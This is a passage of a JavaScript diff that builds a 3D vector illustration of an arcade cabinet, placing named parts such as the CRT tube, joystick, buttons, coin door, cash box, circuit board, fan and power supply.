0.5, tone: "hi" }) }); +} +const FUNNEL = G.bandsOf([[9, funnel(9)], [62, funnel(62)]], [48], MON, P, { radius: funnel, slope: funnelSlope, rows: 6 }); +const funnelFront = FUNNEL.bands[0]; +{ + const shape = record(A.solid(MON, funnelFront.profile, { name: "crt.funnel", radius: funnel })); + const sides = FUNNEL.sidesOf(9, 48, { ends: false }); + put("crt.funnel", G.add3(CF, G.mul3(MON_A, 26)), S(funnelFront.paths, { tone: "hi" }) + Ln(sides.d, { tone: "hi" }), [shape]); +} +turned("crt.yoke", MON, [[48, 15.5], [52, 15.5], [60, 11, 1], [64, 8]], { tone: "mid" }, { inner: Ln(G.arcOf(MON, 52, 15.5, P), { tone: "faint" }) }); +for (const [s0, s1] of [[64, 69], [70.4, 72.4], [73.8, 88.4]]) disc("crt.neck", MON, s0, s1, 3, { tone: "hi" }); +disc("crt.ring", MON, 69, 70.4, 4.2, { tone: "mid" }); +disc("crt.ring", MON, 72.4, 73.8, 4.2, { tone: "mid" }); +prism("crt.neckboard", MON, rect(-7, 7, -7, 7), 90, 91, { tone: "mid" }, { extra: "" }); +disc("crt.socket", MON, 88.4, 90, 4.4, { tone: "lo" }); +const ANODE_ANGLE = -2.35; +const anodeAt = G.pointOf(MON, 30, funnel(30), ANODE_ANGLE); +const anodeN = G.unit3(G.sub3(G.radialOf(MON, ANODE_ANGLE), G.mul3(MON.a, funnelSlope(30)))); +const ANODE_F = G.frameAlong(G.add3(anodeAt, G.mul3(anodeN, -0.4)), anodeN); +turned("crt.anode", ANODE_F, [[0, 3.6], [0.8, 3.4, 1], [1.8, 2.4, 1], [2.4, 1.2, 1], [2.6, 0.6]], { tone: "lo" }); + +for (const su of [-1, 1]) prism("mon.angle", MON, [[su * 41, -46], [su * 44, -46], [su * 44, 46], [su * 41, 46]].map(([u, w]) => [u, w]), 4, 8, { tone: "mid" }); +for (const su of [-1, 1]) prism("mon.rail", MON, [[su * 36, 46], [su * 44, 46], [su * 44, 48], [su * 36, 48]], 4, 66, { tone: "mid" }, { extra: Dots([at(monPoint(su * 40, 46, 20)), at(monPoint(su * 40, 46, 50))], { size: 0.45 }) }); +prism("mon.crossbar", MON, [[-36, 46], [36, 46], [36, 48], [-36, 48]], 62, 66, { tone: "mid" }); +prism("mon.shelf", MON, [[-XI, 48], [XI, 48], [XI, 52], [-XI, 52]], -2, 70, { tone: "lo" }); +prism("mon.cleat", MON, [[56, 52], [XI, 52], [XI, 56], [56, 56]], 2, 66, { tone: "lo" }); +board("mon.post", [[130, 174], [134, 174], [134, 194.6], [130, 195.6]], -XI, XI, { tone: "lo" }); + +const CH = G.frameOf(monPoint(-44, 0, 0), [-1, 0, 0], MON_A, bd); +const chPoint = (s, w, out = 0) => G.add3(G.add3(G.add3(monPoint(-44, 0, 0), G.mul3(MON_A, s)), G.mul3(bd, w)), [-out, 0, 0]); +prism("chassis.board", CH, [[22, 14], [64, 14], [64, 46], [22, 46]], 0, 1, { tone: "lo" }); +prism("chassis.flyback", CH, [[46, 18], [56, 18], [56, 29], [46, 29]], 1, 7, { tone: "mid" }, { inner: "" }); +disc("chassis.flyback.coil", G.frameAlong(chPoint(51, 23.5, 7), [-1, 0, 0]), 0, 2.6, 4, { tone: "hi" }); +for (const [s, w] of [[48, 31], [53, 31]]) disc("chassis.pot", G.frameAlong(chPoint(s, w, 1), [-1, 0, 0]), 0, 1.6, 1.1, { tone: "mid" }, { extra: Ln(k.pathOf([at(chPoint(s - 0.8, w, 2.7)), at(chPoint(s + 0.8, w, 2.7))]), { tone: "hi" }) }); +prism("chassis.heatsink", CH, [[26, 17], [38, 17], [38, 27], [26, 27]], 1, 6, { tone: "mid" }, { + extra: Ln([28, 30, 32, 34, 36].map((s) => k.pathOf([at(chPoint(s, 17, 6)), at(chPoint(s, 27, 6))])).join(""), { tone: "lo" }), +}); +for (const [s, w, r, h] of [[30, 34, 1.8, 5], [35, 38, 1.4, 4], [47, 40, 1.6, 4.4], [42, 42, 1.2, 3.4]]) disc("chassis.cap", G.frameAlong(chPoint(s, w, 1), [-1, 0, 0]), 0, h, r, { tone: "hi" }, { inner: "" }); +prism("chassis.plug.video", CH, [[56, 36], [62, 36], [62, 42], [56, 42]], 1, 3, { tone: "mid" }); +prism("chassis.plug.neck", CH, [[57, 18], [62, 18], [62, 23], [57, 23]], 1, 3, { tone: "mid" }); + +const JOY = { x: -49, y: 160 }; +const J_O = [JOY.x, JOY.y, cpTop(JOY.y)]; +const CPF = (o) => G.frameOf(o, CPN, [1, 0, 0], CPD); +const cpPoint = (x, y, s = 0) => G.add3([x, y, cpTop(y)], G.mul3(CPN, s)); +const overlay = [[-56, 139], [56, 139], [56, 175], [-56, 175]].map(([x, y]) => cpPoint(x, y, 0.05)); +const STICK_DATA = { + o: J_O, + nc: CPN, + dc: CPD, + pivot: -4, + switches: [ + { id: "left", c: G.add3(cpPoint(JOY.x - 4.6, JOY.y), G.mul3(CPN, -10.4)), out: [-1, 0, 0] }, + { id: "right", c: G.add3(cpPoint(JOY.x + 4.6, JOY.y), G.mul3(CPN, -10.4)), out: [1, 0, 0] }, + { id: "up", c: G.add3(G.add3(cpPoint(JOY.x, JOY.y), G.mul3(CPD, -4.6)), G.mul3(CPN, -10.4)), out: G.mul3(CPD, -1) }, + { id: "down", c: G.add3(G.add3(cpPoint(JOY.x, JOY.y), G.mul3(CPD, 4.6)), G.mul3(CPN, -10.4)), out: CPD }, + ], +}; +const PARTS = makeParts(k, G, P, { stick: STICK_DATA }); +const JF = CPF(J_O); +const plateShape = record(A.prism(JF, rect(-9, 9, -9, 9), -3.6, -3, { name: "stick.plate" })); +put("stick.plate", G.add3(J_O, G.mul3(CPN, -3.3)), S(prismPaths(JF, rect(-9, 9, -9, 9), -3.6, -3), { tone: "mid" }), [plateShape]); +const boltHeads = [[-7, -7], [7, -7], [-7, 7], [7, 7]].map(([u, v]) => at(G.add3(G.add3(J_O, G.mul3([1, 0, 0], u)), G.mul3(CPD, v)))); +for (const sw of STICK_DATA.switches) { + const side = G.cross3(CPN, sw.out); + const F = G.frameOf(G.add3(sw.c, G.mul3(sw.out, 0.65)), CPN, sw.out, side); + prism("stick.bracket", F, [[0, -2.2], [0.5, -2.2], [0.5, 2.2], [0, 2.2]], -1, 6.8, { tone: "lo" }); +} +disc("stick.bushing", JF, -5.2, -3.6, 2.2, { tone: "lo" }, { owner: "stick" }); +const PIV = G.frameAlong(G.add3(J_O, G.mul3(CPN, -4)), CPN); +const stickLowerShapes = [ + record(A.disc(PIV, -8.6, -4.6, 2.4, { name: "stick.actuator", owner: "stick" })), + record(A.disc(PIV, -9.4, -0.6, 0.85, { name: "stick.shaft.lower", owner: "stick" })), + record(A.disc(PIV, -10, -9.4, 1.5, { name: "stick.clip", owner: "stick" })), + ...STICK_DATA.switches.map((sw) => record(A.prism(G.frameOf(sw.c, CPN, sw.out, G.cross3(CPN, sw.out)), rect(-0.65, 0.65, -2, 2), -1, 1, { name: `stick.switch.${sw.id}` }))), + ...STICK_DATA.switches.flatMap((sw) => [-1.1, 0, 1.1].map((o) => record(A.prism(G.frameOf(G.add3(G.add3(sw.c, G.mul3(CPN, -1)), G.mul3(G.cross3(CPN, sw.out), o)), CPN, sw.out, G.cross3(CPN, sw.out)), rect(-0.3, 0.3, -0.35, 0.35), -1, 0, { name: `stick.tab.${sw.id}`, owner: `stick.switch.${sw.id}` })))), +]; +put("stick.lower", G.add3(J_O, G.mul3(CPN, -9)), `${PARTS.stickLower(0, 0)}`, stickLowerShapes); +put("stick.bolts", J_O, Dots(boltHeads, { size: 0.55, tone: "mid" }), [[-7, -7], [7, -7], [-7, 7], [7, 7]].map(([u, v]) => record(A.ball(G.add3(G.add3(J_O, G.mul3([1, 0, 0], u)), G.mul3(CPD, v)), 0.4, { name: "stick.bolt" }))), { bias: 0.1 }); +put("stick.upper", G.add3(J_O, G.mul3(CPN, 8)), `${PARTS.stickUpper(0, 0)}`, [record(A.ball(G.add3(J_O, G.mul3(CPN, 12.4)), 3.5, { name: "stick.ball", owner: "stick" })), record(A.disc(G.frameAlong(J_O, CPN), 0.4, 8.95, 0.85, { name: "stick.shaft", owner: "stick" })), record(A.disc(G.frameAlong(J_O, CPN), 0, 0.4, 4.4, { name: "stick.washer", owner: "stick" }))], { bias: 2 }); + +const BUTTONS = [ + { id: "fire", x: -18, y: 158, lamp: false }, + { id: "jump", x: -6, y: 162, lamp: false }, + { id: "p1", x: 18, y: 146, lamp: true }, + { id: "p2", x: 32, y: 146, lamp: true }, +]; +for (const b of BUTTONS) { + const o = cpPoint(b.x, b.y); + const F = CPF(o); + const r = b.lamp ? 2.2 : 2.6; + const bez = record(A.disc(F, 0, 0.7, r + 1, { name: `button.${b.id}.bezel` })); + put(`button.${b.id}.bezel`, o, S(G.disc(0, 0.7, r + 1, F, P, { steps: 36 }), { tone: "mid" }), [bez], { bias: 0.5 }); + const plunger = record(A.disc(F, 0.7, 2.2, r, { name: `button.${b.id}` })); + const cap = S(G.disc(0.7, 2.2, r, F, P, { steps: 32 }), { tone: "hi" }) + Ln(G.circleOf(F, 2.2, r * 0.68, P, 24), { tone: "lo" }); + put(`button.${b.id}`, G.add3(o, G.mul3(CPN, 1.5)), `${cap}`, [plunger], { bias: 0.8 }); + disc(`button.${b.id}.housing`, F, -8, -4.6, 2.3, { tone: "mid" }); + disc(`button.${b.id}.nut`, F, -4.6, -3, 3.6, { tone: "lo" }, { steps: 6 }); + const SW = G.frameOf(G.add3(o, G.mul3(CPN, -8)), CPN, [1, 0, 0], CPD); + prism(`button.${b.id}.switch`, SW, rect(-2, 2, -1.3, 1.3), -4.2, 0, { tone: "mid" }); +} + +const DOOR = { x0: -57, x1: -3, z0: 38, z1: 120 }; +const DOOR_CX = (DOOR.x0 + DOOR.x1) / 2; +const FY = 156; +box("door.frame", [DOOR.x0, FY, DOOR.z0], [DOOR.x1, FY + 1.4, DOOR.z1], { tone: "lo" }, { r: 1.2, steps: 3 }); +box("door.plate", [DOOR.x0 + 2, FY + 1.4, DOOR.z0 + 2], [DOOR.x1 - 2, FY + 2.4, DOOR.z1 - 2], { tone: "mid" }, { r: 1, steps: 3, bevel: 0.4 }); +const ENTRIES = [-42, -18]; +const SLOT_Z = [100.5, 107.5]; +for (const cx of ENTRIES) { + const front = FY + 3.8; + box("door.entry", [cx - 8, FY + 2.4, 88], [cx + 8, front, 114], { tone: "mid" }, { r: 1.2, steps: 3, bevel: 0.3 }); + const slot = [[cx - 0.5, SLOT_Z[0]], [cx + 0.5, SLOT_Z[0]], [cx + 0.5, SLOT_Z[1]], [cx - 0.5, SLOT_Z[1]]]; + const lamp = `${S(k.slabOf({ x: cx - 5, y: front, w: 10, d: 1.2, r: 0.6 }, 90, 8, P, 2, 0.3), { tone: "hi" })}`; + put("door.slot", [cx, front + 0.1, 104], `` + lamp, [record(A.box([cx - 5, front, 90], [cx + 5, front + 1.2, 98], { name: "door.reject" }))], { bias: 1 }); +} +disc("door.lock", G.frameAlong([DOOR_CX, FY + 2.4, 72], [0, 1, 0]), 0, 1.6, 2.4, { tone: "hi" }, { extra: Ln(path3([[DOOR_CX, FY + 4.02, 70.8], [DOOR_CX, FY + 4.02, 73.2]]), { tone: "lo", free: true }) }); +box("door.return", [DOOR_CX - 9, FY + 2.4, 46], [DOOR_CX + 9, FY + 4.4, 60], { tone: "mid" }, { r: 1.4, steps: 3 }); +put("door.return.mouth", [DOOR_CX, FY + 4.5, 52], ``, [record(A.box([DOOR_CX - 6, FY + 4.4, 49], [DOOR_CX + 6, FY + 4.5, 55], { name: "door.return.mouth" }))], { bias: 1 }); +for (const z of [48, 110]) disc("door.hinge", G.frameAlong([DOOR.x1 + 0.9, FY + 0.9, z], [0, 0, 1]), -3, 3, 0.9, { tone: "mid" }); +box("door.price", [DOOR_CX - 6, FY + 2.4, 80], [DOOR_CX + 6, FY + 2.9, 85], { tone: "lo" }, { extra: Ln(path3([[DOOR_CX - 4, FY + 2.92, 82.5], [DOOR_CX + 2, FY + 2.92, 82.5]]), { tone: "lo", free: true }) }); + +box("door.back", [DOOR.x0, 150, DOOR.z0], [DOOR.x1, 152, DOOR.z1], { tone: "lo" }); +const MECH = (cx) => ({ x0: cx - 6.5, x1: cx + 6.5, y0: 141, y1: 150, z0: 84, z1: 106 }); +for (const cx of ENTRIES) { + const m = MECH(cx); + const side = m.x0; + const extra = [ + Ln(path3([[side, m.y0 + 2, m.z0 + 4], [side, m.y1 - 2, m.z0 + 4], [side, m.y1 - 2, m.z1 - 4], [side, m.y0 + 2, m.z1 - 4]], true), { tone: "faint" }), + Dots([at([side, m.y0 + 2.4, m.z1 - 2.4]), at([side, m.y1 - 2.4, m.z1 - 2.4]), at([side, m.y0 + 2.4, m.z0 + 2.4]), at([side, m.y1 - 2.4, m.z0 + 2.4])], { size: 0.45 }), + ].join(""); + box(`mech`, [m.x0, m.y0, m.z0], [m.x1, m.y1, m.z1], { tone: "mid" }, { r: 0.6, steps: 2, bevel: 0.4, extra }); + disc("mech.magnet", G.frameAlong([side, 145.5, 96], [-1, 0, 0]), 0, 1.4, 2.4, { tone: "hi" }); + disc("mech.pivot", G.frameAlong([side, 146, 89], [-1, 0, 0]), 0, 0.8, 0.9, { tone: "lo" }); + box("mech.lever", [cx - 1, 141.5, 106], [cx + 1, 150, 107.6], { tone: "lo" }); + disc("door.socket", G.frameAlong([cx, 150, 112], [0, -1, 0]), 0, 3.4, 1.6, { tone: "mid" }); +} + +const CHUTE = { x0: -50, x1: -10, y0: 148, y1: 104, z0: 82, slope: Math.tan((30 * Math.PI) / 180) }; +const chuteZ = (y) => CHUTE.z0 - CHUTE.slope * (CHUTE.y0 - y); +const CH_T = 0.8; +const cs = Math.cos((30 * Math.PI) / 180); +const sn = Math.sin((30 * Math.PI) / 180); +const chuteFloor = [[CHUTE.y0, chuteZ(CHUTE.y0)], [CHUTE.y1, chuteZ(CHUTE.y1)], [CHUTE.y1 + CH_T * sn, chuteZ(CHUTE.y1) - CH_T * cs], [CHUTE.y0 + CH_T * sn, chuteZ(CHUTE.y0) - CH_T * cs]]; +board("chute.floor", chuteFloor, CHUTE.x0, CHUTE.x1, { tone: "mid" }); +const wallOf = (h) => [[CHUTE.y0, chuteZ(CHUTE.y0)], [CHUTE.y0, chuteZ(CHUTE.y0) + h], [CHUTE.y1, chuteZ(CHUTE.y1) + h], [CHUTE.y1, chuteZ(CHUTE.y1)]]; +board("chute.far", wallOf(6), CHUTE.x1, CHUTE.x1 + 0.7, { tone: "mid" }); +board("chute.lip", wallOf(1.2), CHUTE.x0 - 0.7, CHUTE.x0, { tone: "hi" }); +box("chute.tab", [CHUTE.x0 + 2, CHUTE.y0, chuteZ(CHUTE.y0) - 2.6], [CHUTE.x1 - 2, 150, chuteZ(CHUTE.y0) - CH_T * cs], { tone: "lo" }); +for (const x of [CHUTE.x0 + 1, CHUTE.x1 - 3]) box("chute.leg", [x, 109, 8], [x + 1.4, 111, chuteZ(109 - CH_T * sn) - CH_T * cs], { tone: "lo" }); + +const SW_Y = 124; +const SWITCH = { x0: -54.4, x1: -50.7, y0: SW_Y - 2.6, y1: SW_Y + 2.6, z0: chuteZ(SW_Y) - 2.4, z1: chuteZ(SW_Y) + 3 }; +box("coin.switch", [SWITCH.x0, SWITCH.y0, SWITCH.z0], [SWITCH.x1, SWITCH.y1, SWITCH.z1], { tone: "mid" }, { extra: Dots([at([SWITCH.x0, SW_Y - 1.4, SWITCH.z0 + 1]), at([SWITCH.x0, SW_Y + 1.4, SWITCH.z1 - 1])], { size: 0.4 }) }); +box("coin.switch.bracket", [SWITCH.x1, SW_Y - 2.2, SWITCH.z0], [CHUTE.x0 - 0.7, SW_Y + 2.2, SWITCH.z0 + 1], { tone: "lo" }); +const WIRE = { from: [SWITCH.x1, SW_Y, chuteZ(SW_Y) + 1.4], length: 13 }; + +const BOX = { x0: -58, x1: -16, y0: 62, y1: 104, z0: 8, z1: 30 }; +const T = 0.7; +box("cash.floor", [BOX.x0, BOX.y0, BOX.z0], [BOX.x1, BOX.y1, BOX.z0 + T], { tone: "lo" }); +box("cash.back", [BOX.x0, BOX.y0, BOX.z0 + T], [BOX.x1, BOX.y0 + T, BOX.z1], { tone: "mid" }); +box("cash.far", [BOX.x1 - T, BOX.y0 + T, BOX.z0 + T], [BOX.x1, BOX.y1, BOX.z1], { tone: "mid" }); +box("cash.near", [BOX.x0, BOX.y0 + T, BOX.z0 + T], [BOX.x0 + T, BOX.y1, BOX.z1], { tone: "mid" }); +box("cash.front", [BOX.x0 + T, BOX.y1 - T, BOX.z0 + T], [BOX.x1 - T, BOX.y1, BOX.z1], { tone: "mid" }); +box("cash.handle", [BOX.x0 - 1.6, 78, 22], [BOX.x0, 88, 24], { tone: "hi" }); + +const METER = { x0: -58, x1: -52, y0: 108, y1: 118, z0: 12, z1: 20 }; +box("meter.foot", [-58, 106, 8], [-50, 120, 12], { tone: "lo" }); +box("meter", [METER.x0, METER.y0, METER.z0], [METER.x1, METER.y1, METER.z1], { tone: "mid" }, { r: 0.6 }); +const METER_FACE = { o: [METER.x0 - 0.02, 109.6, 18.4], ex: [0, 1, 0], ey: [0, 0, -1] }; +{ + const m = planeMatrix(METER_FACE.o, METER_FACE.ex, METER_FACE.ey); + put("meter.face", [METER.x0, 113, 16], `004127`, [record(A.box([METER.x0 - 0.05, 109.6, 13.6], [METER.x0, 116.4, 18.4], { name: "meter.face" }))], { bias: 0.3 }); +} + +const PCB = { y: 8, x0: -50, x1: 10, z0: 116, z1: 170 }; +const px = (v) => PCB.x0 + v; +const pz = (v) => PCB.z0 + v; +const FACE_Y = PCB.y; +const BF = G.frameOf([0, FACE_Y, 0], [0, 1, 0], [1, 0, 0], [0, 0, 1]); +for (const [x, z] of [[3, 3], [57, 3], [3, 51], [57, 51]]) disc("pcb.standoff", G.frameAlong([px(x), 4, pz(z)], [0, 1, 0]), 0, 3.2, 1, { tone: "lo" }); +box("pcb.board", [PCB.x0, FACE_Y - 0.8, PCB.z0], [PCB.x1, FACE_Y, PCB.z1], { tone: "lo" }, { r: 0.6 }); +const chip = (name, x, z, len, wid, tall = 1.2) => { + const y1 = FACE_Y + tall; + const pins = []; + for (let i = 0.6; i < len - 0.3; i += 1.27) pins.push(at([px(x + i), FACE_Y, pz(z) - 0.25]), at([px(x + i), FACE_Y, pz(z + wid) + 0.25])); + box(name, [px(x), FACE_Y, pz(z)], [px(x + len), y1, pz(z + wid)], { tone: "hi" }, { r: 0.15, steps: 1, extra: Dots(pins, { size: 0.22, tone: "lo" }) + Dots([at([px(x + 0.8), y1, pz(z + wid / 2)])], { size: 0.35, tone: "lo" }) }); +}; +chip("pcb.cpu", 4, 40, 10.4, 3); +for (let i = 0; i < 4; i++) chip("pcb.rom", 18 + i * 8.6, 45, 7.2, 3); +for (let i = 0; i < 3; i++) chip("pcb.ram", 4 + i * 6, 33, 4.6, 1.6); +for (let r = 0; r < 3; r++) for (let c = 0; c < 6; c++) chip("pcb.logic", 24 + c * 5.6, 12 + r * 7.4, 4, 1.6); +chip("pcb.sound", 4, 22, 5.4, 3); +chip("pcb.video", 4, 12, 7.2, 3, 1.6); +box("pcb.crystal", [px(17), FACE_Y, pz(41)], [px(20), FACE_Y + 1.4, pz(42.6)], { tone: "hi" }, { r: 0.6, steps: 3 }); +box("pcb.dips", [px(16), FACE_Y, pz(33)], [px(24), FACE_Y + 0.8, pz(35)], { tone: "mid" }, { extra: Dots(Array.from({ length: 8 }, (_, i) => at([px(16.5 + i), FACE_Y + 0.8, pz(34)])), { size: 0.25, tone: "hi" }) }); +prism("pcb.heatsink", BF, rect(px(4), px(12), pz(3), pz(8)), 0, 4.2, { tone: "mid" }, { extra: Ln([5.6, 7.2, 8.8, 10.4].map((x) => path3([[px(x), FACE_Y + 4.2, pz(3)], [px(x), FACE_Y + 4.2, pz(8)]])).join(""), { tone: "lo" }) }); +for (const [x, z, r, h] of [[50, 37.4, 1.6, 3.6], [56, 37.4, 1.2, 2.8], [16, 26, 1, 2.4], [18, 16, 1, 2.4]]) disc("pcb.cap", G.frameAlong([px(x), FACE_Y, pz(z)], [0, 1, 0]), 0, h, r, { tone: "hi" }); +put("pcb.led", [px(54), FACE_Y + 0.4, pz(48)], `${Dots([at([px(54), FACE_Y + 0.4, pz(48)])], { size: 0.9, tone: "hi" })}`, [record(A.ball([px(54), FACE_Y + 0.4, pz(48)], 0.6, { name: "pcb.led" }))], { bias: 0.4 }); +{ + const traces = []; + const pads = []; + const lane = (x0, z0, x1, z1, via) => { + const pts = via ? [[x0, z0], [via, z0], [via, z1], [x1, z1]] : [[x0, z0], [x1, z0], [x1, z1]]; + traces.push(path3(pts.map(([x, z]) => [px(x), FACE_Y + 0.02, pz(z)]))); + pads.push(at([px(x0), FACE_Y + 0.02, pz(z0)]), at([px(x1), FACE_Y + 0.02, pz(z1)])); + }; + lane(15, 41.4, 18, 39, 16.6); + lane(26.6, 45, 29, 37); + lane(35.2, 45, 37.6, 37); + lane(9, 39, 9, 35); + lane(15, 34.6, 24, 27.6, 20); + lane(9.6, 25, 24, 23.2, 16); + lane(11.4, 15, 24, 11.4, 14); + lane(34, 9.4, 44, 4, 39); + lane(50, 18, 54, 26); + traces.push(path3([[px(58), FACE_Y + 0.02, pz(2)], [px(58), FACE_Y + 0.02, pz(52)]])); + pads.push(at([px(58), FACE_Y + 0.02, pz(2)]), at([px(58), FACE_Y + 0.02, pz(52)])); + put("pcb.traces", [px(30), FACE_Y + 0.05, pz(27)], Ln(traces.join(""), { tone: "faint" }) + Dots(pads, { size: 0.3, tone: "lo" }), [record(A.box([PCB.x0, FACE_Y, PCB.z0], [PCB.x1, FACE_Y + 0.05, PCB.z1], { name: "pcb.traces" }))], { bias: 0.05 }); +} +const EDGE = { x0: PCB.x1, x1: PCB.x1 + 4.6, y0: 4.6, y1: 11, z0: 124, z1: 162 }; +box("pcb.edge", [EDGE.x0, EDGE.y0, EDGE.z0], [EDGE.x1, EDGE.y1, EDGE.z1], { tone: "mid" }, { r: 0.5, extra: Ln(path3([[EDGE.x0 + 1, EDGE.y1, EDGE.z0], [EDGE.x0 + 1, EDGE.y1, EDGE.z1]]), { tone: "lo" }) }); +const plugAt = (z) => [EDGE.x1, 7.8, z]; +box("pcb.vplug", [px(6), 5.4, PCB.z1], [px(12), 10.4, PCB.z1 + 2.4], { tone: "mid" }); + +const FAN = { x: -18, z: 262, r: 12 }; +const FANF = G.frameOf([FAN.x, 4, FAN.z], [0, 1, 0], [1, 0, 0], [0, 0, 1]); +prism("fan.frame", FANF, rect(-13, 13, -13, 13), 0, 3.4, { tone: "mid" }, { + extra: Dots([[-11, -11], [11, -11], [-11, 11], [11, 11]].map(([u, v]) => at([FAN.x + u, 7.4, FAN.z + v])), { size: 0.5, tone: "hi" }), +}); +{ + const m = planeMatrix([FAN.x, 7.42, FAN.z], [1, 0, 0], [0, 0, -1]); + const blades = Array.from({ length: 7 }, (_, i) => { + const a = (i / 7) * Math.PI * 2; + const c = Math.cos(a); + const s = Math.sin(a); + const pt = (r, da) => [r * Math.cos(a + da), r * Math.sin(a + da)].map((v) => f2(v)).join(" "); + return `M${pt(3.6, 0)}Q${pt(8, 0.25)} ${pt(11, 0.12)}L${pt(11, 0.62)}Q${pt(7.6, 0.72)} ${pt(3.6, 0.7)}Z`; + }).join(""); + const guard = [11.6, 8, 4.6].map((r) => `M${r} 0A${r} ${r} 0 1 1 ${-r} 0A${r} ${r} 0 1 1 ${r} 0Z`).join(""); + const spokes = [0, 1, 2, 3].map((i) => `M${f2(3 * Math.cos(i * Math.PI / 2 + 0.4))} ${f2(3 * Math.sin(i * Math.PI / 2 + 0.4))}L${f2(11.6 * Math.cos(i * Math.PI / 2 + 0.4))} ${f2(11.6 * Math.sin(i * Math.PI / 2 + 0.4))}`).join(""); + put("fan.rotor", [FAN.x, 7.5, FAN.z], ``, [record(A.disc(FANF, 3.4, 3.5, 12, { name: "fan.rotor" }))], { bias: 0.2 }); +} + +box("psu.base", [-48, 10, 8], [-20, 40, 9.4], { tone: "lo" }, { extra: Dots([at([-46, 12, 9.4]), at([-22, 12, 9.4]), at([-46, 38, 9.4]), at([-22, 38, 9.4])], { size: 0.45 }) }); +box("xfmr.core", [-46, 16, 9.4], [-22, 34, 30], { tone: "mid" }, { + inner: Ln([12, 15, 18, 21, 24, 27].map((z) => k.sideSeam({ x: -46, y: 16, w: 24, d: 18, r: 0.4 }, z, P, 2)).join(""), { tone: "faint" }), +}); +box("xfmr.coil", [-42, 34, 13], [-26, 37, 27], { tone: "hi" }, { r: 1.4, steps: 3 }); +box("xfmr.coil.back", [-42, 13, 13], [-26, 16, 27], { tone: "hi" }, { r: 1.4, steps: 3 }); +box("xfmr.terminals", [-40, 22, 30], [-28, 28, 32], { tone: "lo" }, { extra: Dots([-38, -35, -32, -29].map((x) => at([x, 25, 32])), { size: 0.45, tone: "hi" }) }); +box("psu.case", [-12, 10, 8], [30, 40, 22], { tone: "mid" }, { bevel: 0.4, extra: Dots(k.dotGrid(-8, 13, 14, 8, 2.6, 22, P), { size: 0.35, tone: "lo" }) }); +box("psu.strip", [-8, 40, 9], [26, 43, 14], { tone: "lo" }, { extra: Dots([-5, -1, 3, 7, 11, 15, 19, 23].map((x) => at([x, 43, 12.4])), { size: 0.45, tone: "hi" }) }); +const PW = { x: 58.6, y0: 14, y1: 58, z0: 28, z1: 70 }; +box("pw.plate", [PW.x, PW.y0, PW.z0], [XI, PW.y1, PW.z1], { tone: "lo" }, { extra: Dots([[PW.y0 + 2, PW.z0 + 2], [PW.y1 - 2, PW.z0 + 2], [PW.y0 + 2, PW.z1 - 2], [PW.y1 - 2, PW.z1 - 2]].map(([y, z]) => at([PW.x, y, z])), { size: 0.45, tone: "hi" }) }); +box("relay", [PW.x - 7, 18, 52], [PW.x, 30, 64], { tone: "mid" }, { r: 0.6, steps: 2, extra: `${Dots([at([PW.x - 7, 27.4, 61])], { size: 0.7, tone: "hi" })}` }); +for (const z of [56, 62]) { + box("fuse.holder", [PW.x - 2.6, 36, z - 1.6], [PW.x, 50, z + 1.6], { tone: "mid" }, { r: 1, steps: 3 }); + disc("fuse.cap", G.frameAlong([PW.x - 1.3, 50, z], [0, 1, 0]), 0, 2, 1.3, { tone: "hi" }); +} +box("pw.strip", [PW.x - 3, 18, 34], [PW.x, 54, 39], { tone: "mid" }, { extra: Dots([21, 25, 29, 33, 37, 41, 45, 49].map((y) => at([PW.x - 3, y, 36.5])), { size: 0.45, tone: "hi" }) }); +box("pw.filter", [PW.x - 6, 18, 42], [PW.x, 34, 49], { tone: "hi" }, { r: 0.8, steps: 2 }); +const SV = { x: 58.6, y0: 16, y1: 52, z0: 98, z1: 120 }; +box("service.plate", [SV.x, SV.y0, SV.z0], [XI, SV.y1, SV.z1], { tone: "lo" }, { extra: Dots([[SV.y0 + 2, SV.z0 + 2], [SV.y1 - 2, SV.z0 + 2], [SV.y0 + 2, SV.z1 - 2], [SV.y1 - 2, SV.z1 - 2]].map(([y, z]) => at([SV.x, y, z])), { size: 0.45, tone: "hi" }) }); +box("service.toggle", [SV.x - 3, 20, 108], [SV.x, 26, 114], { tone: "mid" }, { r: 0.5, extra: Ln(path3([[SV.x - 3, 23, 111], [SV.x - 6, 23, 113.4]]), { tone: "hi", free: "end" }) }); +disc("service.button.ring", G.frameAlong([SV.x, 33, 111], [-1, 0, 0]), 0, 1, 3, { tone: "mid" }); +disc("service.button", G.frameAlong([SV.x - 1, 33, 111], [-1, 0, 0]), 0, 1.6, 2.1, { tone: "hi" }); +disc("service.pot", G.frameAlong([SV.x, 44, 111], [-1, 0, 0]), 0, 1.6, 2.6, { tone: "mid" }); +{ + const KF = G.frameAlong([SV.x - 1.6, 44, 111], [-1, 0, 0]); + disc("service.knob", KF, 0, 2.6, 2.2, { tone: "hi" }, { extra: Faded(G.ribsOf(KF, 0, 2.6, 2.2, 24, P, { fade: [0.1, 0.55], seams: true }), { tone: "lo" }) + Ln(path3([[SV.x - 4.25, 44, 111], [SV.x - 4.25, 45.6, 112.2]]), { tone: "hi", free: "end" }) }); +} +disc("cord.grip", G.frameAlong([-30, 4, 22], [0, 1, 0]), 0, 2, 2.6, { tone: "mid" }); +box("outlet", [-40, 4, 330], [-10, 8, 338], { tone: "mid" }, { extra: Dots([-34, -25, -16].map((x) => at([x, 8, 334])), { size: 0.5, tone: "lo" }) }); +put("back.vents", [20, 4.1, 300], Ln(Array.from({ length: 5 }, (_, i) => path3([[8 + i * 9, 4.05, 290], [13 + i * 9, 4.05, 290], [13 + i * 9, 4.05, 314], [8 + i * 9, 4.05, 314]], true)).join(""), { tone: "faint" }), [record(A.box([8, 4, 290], [50, 4.1, 314], { name: "back.vents" }))], { bias: 0.1 }); + +const PLUG = { x0: -55, x1: -43, y0: 147.2, y1: 150.4, z0: 173.2, z1: 176.8 }; +box("loom.plug", [PLUG.x0, PLUG.y0, PLUG.z0], [PLUG.x1, PLUG.y1, PLUG.z1], { tone: "mid" }, { r: 0.4 }); +const plugTop = 192.1 - (148 - 135.24) * ((192.1 - 181.1) / (177.24 - 135.24)); +box("loom.plug.bracket", [-51, 148, PLUG.z1], [-47.6, 149, plugTop], { tone: "lo" }); +cable("loom", [[PLUG.x1, 148.8, 175], [46, 148.8, 175], [52, 146, 168], [52, 146, 146], [52, 20, 146], [28, 7.8, 146], plugAt(146)], 1.3, { tone: "mid", bend: 6, shells: [false, true], rings: { pitch: 1.1, twist: 0.8, cross: true, fade: [0.1, 0.55] } }); +const LANES = { up: [-49, 175.8], left: [-53.6, 175], right: [-44.4, 175], down: [-50.8, 174.2] }; +STICK_DATA.switches.forEach((sw) => { + const tab = G.add3(sw.c, G.mul3(CPN, -2)); + const 